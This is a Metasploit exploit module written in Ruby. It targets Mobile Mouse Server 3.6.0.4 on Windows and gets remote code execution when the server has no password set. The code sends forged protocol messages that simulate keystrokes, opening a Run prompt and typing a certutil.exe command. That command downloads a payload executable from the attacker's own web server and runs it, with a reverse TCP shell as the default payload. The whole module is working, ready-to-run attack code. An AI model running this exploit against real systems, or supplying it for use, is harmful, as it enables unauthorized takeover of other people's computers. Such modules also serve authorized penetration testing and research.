Mobile Mouse 3.6.0.4 Remote Code Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp
  include Exploit::EXE # generate_payload_exe
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mobile Mouse RCE',
        'Description' => %q{
          This module utilizes the Mobile Mouse Server by RPA Technologies, Inc protocol
          to deploy a payload and run it from the server.  This module will only deploy
          a payload if the server is set without a password (default).
          Tested against 3.6.0.4, current at the time of module writing
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'CHOKRI HAMMEDI' # edb
        ],
        'References' => [
          [ 'EDB', '51010' ],
          [ 'URL', 'https://mobilemouse.com/' ],
        ],
        'Arch' => [ ARCH_X64, ARCH_X86 ],
        'Platform' => 'win',
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          ['default', {}],
        ],
        'Payload' => {
          'BadChars' => "\x04\x1E"
        },
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/shell/reverse_tcp'
        },
        'DisclosureDate' => '2022-09-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK] # typing on screen
        }
      )
    )
    register_options(
      [
        OptPort.new('RPORT', [true, 'Port Mobile Mouse runs on', 9099]),
        OptInt.new('SLEEP', [true, 'How long to sleep between commands', 3]),
        OptString.new('PATH', [true, 'Where to stage payload for pull method', 'c:\\Windows\\Temp\\']),
        OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
      ]
    )
  end

  def path
    return datastore['PATH'] if datastore['PATH'].end_with? '\\'

    "#{datastore['PATH']}\\"
  end

  def connect_command
    connect_command = 'CONNECT' # 434F4E4E454354
    connect_command << "\x1E\x1E"
    connect_command << @client_name
    connect_command << "\x1E"
    connect_command << 'iPhone' # 6950686F6E65
    connect_command << "\x1E"
    # the next 2,2 may be a version number of some sort
    connect_command << '2' # 32
    connect_command << "\x1E"
    connect_command << '2' # 32
    connect_command << "\x1E\x04"
    sock.put(connect_command)
    sleep(datastore['SLEEP'])
  end

  def open_command_prompt
    open_command_prompt = 'KEY' # 4b4559
    open_command_prompt << "\x1E"
    open_command_prompt << '114' # 313134 windows key?
    open_command_prompt << "\x1E"
    open_command_prompt << 'r' # 72
    open_command_prompt << "\x1E"
    open_command_prompt << 'OPT' # 4f5054
    open_command_prompt << "\x04"
    sock.put(open_command_prompt)
    sleep(datastore['SLEEP'])
  end

  def script_content(payload)
    script_content = 'KEY' # 4B4559
    script_content << "\x1E"
    script_content << '100' # 313030
    script_content << "\x1E"
    script_content << payload
    script_content << "\x1E\x04"
    script_content << 'KEY' # 4B4559
    script_content << "\x1E"
    script_content << '-1' # 2d31
    script_content << "\x1E"
    script_content << 'ENTER' # 454e544552
    script_content << "\x1E\x04"
    sock.put(script_content)
    sleep(datastore['SLEEP'])
  end

  def on_request_uri(cli, _req)
    p = generate_payload_exe
    send_response(cli, p)
    print_good("Payload request received, sending #{p.length} bytes of payload for staging")
  end

  def check
    if datastore['CLIENTNAME'].blank?
      @client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s
      print_status("Client name set to: #{@client_name}")
    else
      @client_name = datastore['CLIENTNAME']
    end

    connect

    print_status('Connecting')
    connect_command
    res = sock.get_once
    if res.nil?
      return CheckCode::Unknown('No response received from target')
    end

    disconnect

    res = res.split("\x1E")
    if res[1] == 'NO'
      return CheckCode::Safe("Unable to connect, server response: #{res[4]}")
    end

    CheckCode::Appears("Connected to hostname #{res[3]} with MAC address #{res[5]}")
  end

  def exploit
    if datastore['CLIENTNAME'].blank?
      @client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s
      print_status("Client name set to: #{@client_name}")
    else
      @client_name = datastore['CLIENTNAME']
    end

    connect

    print_status('Connecting')
    connect_command
    res = sock.get_once
    if res.nil?
      fail_with(Failure::Disconnected, 'No response received from target')
    end

    res = res.split("\x1E")
    if res[1] == 'NO'
      fail_with(Failure::NoAccess, "Unable to connect, server response: #{res[4]}")
    end
    vprint_good("Connected to hostname #{res[3]} with MAC address #{res[5]}")

    print_status('Opening Command Prompt')
    open_command_prompt
    # for whatever reason, if we don't read here the server doesn't want to keep playing with us, so read but throw away
    sock.get_once

    print_status('Sending stager')
    filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe'
    register_file_for_cleanup("#{path}#{filename}")
    # I attempted to put this all in one, stage, run, exit, but it was never successful, so we'll keep it in 2
    stager = "certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}"
    start_service('Path' => '/') # start webserver
    script_content(stager)

    print_status('Opening Command Prompt again')
    open_command_prompt
    print_status('Executing payload')
    script_content("#{path}#{filename} && exit")

    handler
    disconnect
    sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert
  end
end